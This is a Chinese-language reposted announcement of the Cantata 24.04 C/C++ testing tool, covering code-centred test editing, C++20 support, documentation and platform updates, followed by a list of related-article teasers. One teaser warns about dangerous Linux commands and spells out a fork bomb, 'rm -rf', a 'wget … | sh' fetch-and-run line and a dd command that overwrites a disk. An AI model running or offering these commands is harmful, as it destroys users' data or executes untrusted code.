Cantata 24.04 全新发布:以代码为中心的测试实现革命性升级!

图片

简介

Cantata 24.04于2024年4月发布,以开创性的功能彻底革新了软件测试。此版本的主要功能是以代码为中心(Code-Centred)的方法,可以更快、更高效地在C/C++的代码编辑器中创建单元和集成测试。

Cantata 24.04采用C++中的最新标准并全面支持C++20,增强了以代码为中心的测试编辑,有助于直接在代码编辑器中无缝生成和管理测试用例。这包括自动补足(auto-completion)功能、简化的测试用例生成,以及直接从代码编辑器运行测试的能力,从而提高了生产力和效率。

此外,Cantata 24.04还改建了项目创建、文档可访问性和增强了性能。

总体而言,Cantata 24.04中的更改和改进侧重于提高用户生产力,为现代C++标准和第三方工具提供更好的支持,改进文档和可访问性,并解决各种性能和稳定性问题。以代码为中心的测试编辑功能是在简化测试工作流程和提高开发人员效率方面迈出的重要一步。

新的补充工具

随同Cantata 24.04一起并完全与之兼容的,是一个新的工具:Cantata Hybrid。此工具通过运行不变的GoogleTest套件生成Cantata测试结果与组合的代码覆盖率证据。

以代码为中心(code-centric)的测试编辑

Cantata 24.04带来了许多功能改进,目标放在改善用户生产力和直接在代码编辑器中编辑测试的效率,这些改善使得测试过程更加高效和简便,减少环境切换。

  • 为测试用例、静态访问、EXPECTED_CALLS和EXPECT_CALL指令添加了自动补足(Auto-completion)的功能,减少用户输入,改善代码一致性。

图片

  • 测试用例生成、打桩/封装函数的生成的删除、添加异常处理等现在可以直接在代码编辑器(CDT)中完成,简化测试工作流。

图片

  • 用户也能够直接在代码编辑器中运行测试,不必切换不同的视图或窗口。

  • 循环测试用例的CSV导入/导出、常用指令对的代码模板以及测试用例模板进一步增强了以代码为中心的测试体验。

项目创建的改进

改进了项目创建功能,更好地支持第三方IDE项目,使Cantata更方便集成现有的开发环境。

项目选择对话框得到改进,更加用户友好,更容易导航,特别是在处理大型项目时。实现了对makefile和命令行用法的更好处理,为项目创建提供了更多的灵活性和控制。

图片

新的文档系统

Cantata的用户文档和所有有用的文档都已集成到一个新的(Mkdocs)文档系统中。Cantata的安装程序包含了这个文档系统的本地拷贝,可以在任何Web浏览器中查看。最新发布文档的在线拷贝也可以通过https://support.qa-systems.com/docs来访问(需要合法授权)。这个新的文档系统使用户更容易访问和导航所有相关文档,不管它们的位置或网络连接,也支持全局搜索。

图片

嵌入式目标支持

Cantata持续支持广泛的嵌入式目标平台。在Cantata 24.04中,目标库构建器得到了增强,将自动检测预处理器和压库程序的设置,这些更为自动化的检测设置不需要更多的用户输入,部署目标平台变得更加容易。

图片

性能改进

Cantata 24.04的性能得到了多项改进,包括Eclipse图形界面、解析工具的速度,以及对大型嵌套循环的处理速度。这些改进旨在提高工具的整体响应能力和效率,改善用户体验,尤其是在处理大型复杂项目时。

CPPGETCOV组件更新

更新了核心产品组件CPPGETCOV,支持多覆盖率文件(.cov),更容易报告多次测试运行的结果。

C++20支持

Cantata 24.04现在使用户能够利用C++20标准中引入的最新语言功能和改进。

这包括新的语言构造、库添加和性能优化。用户现在可以使用最新的C++20功能编写和测试代码,确保他们的项目符合最新标准。

Bug修复

除了新功能和性能改进,Cantata 24.04还修复了一些Bug,关于代码插装、测试脚本生成、编译器兼容性,等等。这些Bug的修复旨在改善工具的整体稳定性和可靠性,确保用户体验更顺畅更健壮的测试。

更新了平台支持版本

Cantata的每个版本都有支持平台的变化。

Cantata紧密地与Eclipse®的IDE环境集成,提供Eclipse-Ready®插件。Cantata 24.04建立在Eclipse 2023-12版本(Eclipse 4.30)上,也可以作为从Neon(4.6)版本直到Eclipse 2023-12(4.30)版本的Eclipse-Ready插件来安装。

GCC版本在Windows上支持到8.2.x,在Linux上支持到13.2.x版本。

Cantata 24.04更新了对Microsoft Visual Studio的支持,到2019版本。

了解更多有关Cantata技术信息商务服务,请访问http://www.softtest.cn/留言,或按以下方式联系旋极智能

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/702248.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】手残党必学,再也不用跑路了

目录 🚨危险命令,请勿靠近TAT🖋️rm –rf🖋️){:|:&};:🖋️mv 指定的文件夹 /dev/null🖋️wget http://malicious_source -O- | sh🖋️dd if/dev/random of/dev/sda🖋️隐藏命令…

Kali Linux 2024.2

Kali Linux 2024.2 版本(t64、GNOME 46 和社区包) 比平常晚了一点,但 Kali 2024.2 来了!延迟是由于实现这一目标的幕后变化所致,这也是人们关注的焦点。社区提供了大量帮助,这次他们不仅添加了新的软件包&…

5.4 安全策略和控制 方法实现探讨

安全策略概述: 定义 安全策略是一组规则和措施,旨在保护组织的信息和资产免受潜在的威胁和攻击。它的制定和实施需要考虑组织的特定需求和风险,并采取适当的措施来减少潜在的安全漏洞。安全策略的定义包括以下几个方面: 1. 目标和范围&…

代码随想录算法训练营第51天:股票2

代码随想录算法训练营第51天:股票2 ‍ 123.买卖股票的最佳时机III 力扣题目链接(opens new window) 给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&a…

QGroupbox,Grid Layout,button 水平延伸 布局

实验 sizePolicy水瓶延伸 拖入一个groupbox控件 在groupbox控件中拖入一个grid layout 控件 然后拖入3个pushButton 使其水平排列, 设置button3的 sizePolicy 水平延展 为1 效果

404 页面代码

<template> <div class"container"><h1>404</h1> <div ><p class"text-center">当前页面无法访问,可能没有权限或已删除</p><p class"text-center"> 去别处看看吧</p> </div> <…

【Android】系统性学习——Android系统启动

前言 部分内容参考《Android进阶解密》 – 刘望舒 以及各大博客&#xff0c;感谢各位师傅对知识的传播。 第二章 Android系统启动 Android系统启动与本书很多内容都有关联&#xff0c;比如应用进程启动流程、四大组件原理、 AMS、ClassLoader等&#xff0c;而ClassLoader又是…

2024年适合学生写作业的台灯推荐:五款公认好用的护眼台灯

儿童的视力健康是每一个家庭都极为关注的问题。目前中国近视率居高不下&#xff0c;且呈现出年轻化、低龄化的趋势。儿童近视的问题愈发严重&#xff0c;如何才能让孩子在学习的同时&#xff0c;眼睛也能得到充分的保护&#xff1f;答案就是护眼台灯。护眼台灯通常拥有柔和的光…

床上用品品牌如何吸引美国消费者?沃尔玛如何选品?

床上用品品牌如何吸引美国消费者以及沃尔玛如何选品&#xff0c;这两个问题实际上涉及到了市场营销和供应链管理两个关键领域。 以下是一些更为细致和具体的建议&#xff1a; 对于床上用品品牌而言&#xff0c;吸引美国消费者需要做到以下几点&#xff1a; 1、市场调研与定位…

VsCode中C文件调用其他C文件函数失败

之前一直使用CodeBlocks&#xff0c;最近使用vscode多&#xff0c;感觉它比较方便&#xff0c;但在调用其他C文件的时候发现报错以下内容基于单C文件运行成功&#xff0c;否则请移步 博文&#xff1a;VSCode上搭建C/C开发环境 报错信息 没有使用CodeRunner插件&#xff0c;弹…

TCP协议为啥会有三次挥手(close、shutdown)

一、前言 使用wireshrak抓包的时候&#xff0c;发现有的TCP断开连接&#xff0c;有的是三次挥手、有的是四次挥手&#xff0c;本文将带领带领大家一探究竟。 1. 四次挥手&#xff1a; 四次挥手流程回顾 第一次挥手&#xff1a; 主动关闭的一方&#xff08;客户端或服务器&…

GStreamer安装——iOS

安装iOS开发 支持从iOS6开始的所有版本 先决条件 iOS开发需要下载Xcode和iOSSDK。Xcode 可以在App Store或 这里 iOSSDK&#xff0c;如果它还没有包含在您的Xcode版本中&#xff0c; 可以从下载选项卡下的Xcode首选项菜单下载。 最低要求iOS版本为6.0。的最低要求版本 Xcode…

C#.Net筑基-类型系统①基础

C#.Net的BCL提供了丰富的类型&#xff0c;最基础的是值类型、引用类型&#xff0c;而他们的共同&#xff08;隐私&#xff09;祖先是 System.Object&#xff08;万物之源&#xff09;&#xff0c;所以任何类型都可以转换为Object。 01、数据类型汇总 C#.NET 类型结构总结如下图…

Spring Web MVC之过滤器Filter和拦截器HandlerInterceptor的区别和用法

作用时机不一样 Spring 框架有一个很重要的类DispatcherServlet。这个类继承了HttpServlet&#xff0c;HttpServlet实现了Servlet接口。相当于图片中的Servlet。所有和Spring框架相关配置&#xff0c;例如注解、xml配置、其他数据库连接配置、bean配置、拦截器配置等其他配置&…

k8s nginx.conf配置文件配置

无状态nginx配置nginx.conf覆盖容器配置nginx.conf 代码&#xff1a;events {worker_connections 1024; }http {include /etc/nginx/mime.types;default_type application/octet-stream;log_format main $remote_addr - $remote_user [$time_local] "$request&q…

springBoot多数据源使用、配置

又参加了一个新的项目&#xff0c;虽然是去年做的项目&#xff0c;拿来复用改造&#xff0c;但是也学到了很多。这个项目会用到其他项目的数据&#xff0c;如果调用他们的接口取数据&#xff0c;我还是觉得太麻烦了。打算直接配置多数据源。 然后去另一个数据库系统中取出数据…

AD24设计步骤

一、元件库的创建 1、AD工程创建 然后创建原理图、PCB、库等文件 2、电阻容模型的创建 注意&#xff1a;防止管脚时设置栅格大小为100mil&#xff0c;防止线段等可以设置小一点,快捷键vgs设置栅格大小。 1.管脚的设置 2.元件的设置 3、IC类元件的创建 4、排针类元件模型创建…

迅狐短视频电商源码:简介与优势

迅狐短视频电商源码是一款高效、灵活的电商平台解决方案&#xff0c;专为短视频带货和直播带货而设计。该源码提供了一系列强大功能&#xff0c;使用户能够轻松创建和管理自己的短视频带货平台&#xff0c;实现商品展示、购买下单、支付结算等全流程的电商交易。 迅狐短视频电…

YOLOv8改进 | 注意力机制 | 在主干网络中添加MHSA模块【原理+附完整代码】

&#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 多头自注意力机制&#xff08;Multi-Head Self-Attention&#xff09;是Transformer模型中的一个核心概念&#xff0c;它允许模型在处理序列…

2024-6-12-IXI(npy存储)应用SR的数据处理代码解读

数据集:https://drive.google.com/drive/folders/1i2nj-xnv0zBRC-jOtu079Owav12WIpDEhttps://drive.google.com/drive/folders/1i2nj-xnv0zBRC-jOtu079Owav12WIpDE import numpy as np from torch.utils.data import DataLoader, Dataset import torch from skimage.measur…